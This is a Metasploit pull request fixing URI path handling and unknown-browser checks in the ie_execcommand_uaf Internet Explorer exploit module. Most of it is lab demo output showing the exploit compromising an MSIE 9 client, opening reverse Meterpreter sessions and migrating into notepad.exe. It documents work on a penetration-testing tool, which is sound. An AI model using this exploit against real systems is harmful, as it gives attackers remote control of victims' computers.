rapid7/metasploit-framework — pull request #797 by wchen-r7 (2012-09-17 15:58:10+00:00)
Title: Fix URIPATH and nil target

Allow random and '/' as URIPATh, also refuse serving the exploit when the browser is unknown.

Demo:

msf exploit(ie_execcommand_uaf) > [*] Local IP: http://10.0.1.3:8080/bl7PFbo
[*] Server started.
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.0.1.7 ie_execcommand_uaf - Redirecting to hmLFo.html
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.0.1.7 ie_execcommand_uaf - Loading hmLFo.html
[*] 10.0.1.7 ie_execcommand_uaf - Using JRE ROP
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.0.1.7 ie_execcommand_uaf - Loading JFBVAx.html
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] Sending stage (752128 bytes) to 10.0.1.7
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.7:49174) at 2012-09-17 10:49:43 -0500
[*] Session ID 1 (10.0.1.3:4444 -> 10.0.1.7:49174) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2968)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3336
[+] Successfully migrated to process

msf exploit(ie_execcommand_uaf) > [*] Local IP: http://10.0.1.3:8080/
[*] Server started.
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.0.1.7 ie_execcommand_uaf - Redirecting to KppdS.html
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.0.1.7 ie_execcommand_uaf - Loading KppdS.html
[*] 10.0.1.7 ie_execcommand_uaf - Using JRE ROP
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.0.1.7 ie_execcommand_uaf - Redirecting to KppdS.html
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.0.1.7 ie_execcommand_uaf - Loading ETPjWu.html
[*] 10.0.1.7 ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.0.1.7 ie_execcommand_uaf - Redirecting to KppdS.html
[*] Sending stage (752128 bytes) to 10.0.1.7
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.7:49183) at 2012-09-17 10:53:09 -0500
[*] Session ID 1 (10.0.1.3:4444 -> 10.0.1.7:49183) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1196)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2424
[+] Successfully migrated to process

msf exploit(ie_execcommand_uaf) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.3:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://10.0.1.3:8080/
[*] Server started.
msf exploit(ie_execcommand_uaf) > [*] 10.0.1.3 ie_execcommand_uaf - curl/7.19.7 (universal-apple-darwin10.0) libcurl/7.19.7 OpenSSL/0.9.8r zlib/1.2.3
[-] 10.0.1.3 ie_execcommand_uaf - Browser not supported: curl/7.19.7 (universal-apple-darwin10.0) libcurl/7.19.7 OpenSSL/0.9.8r zlib/1.2.3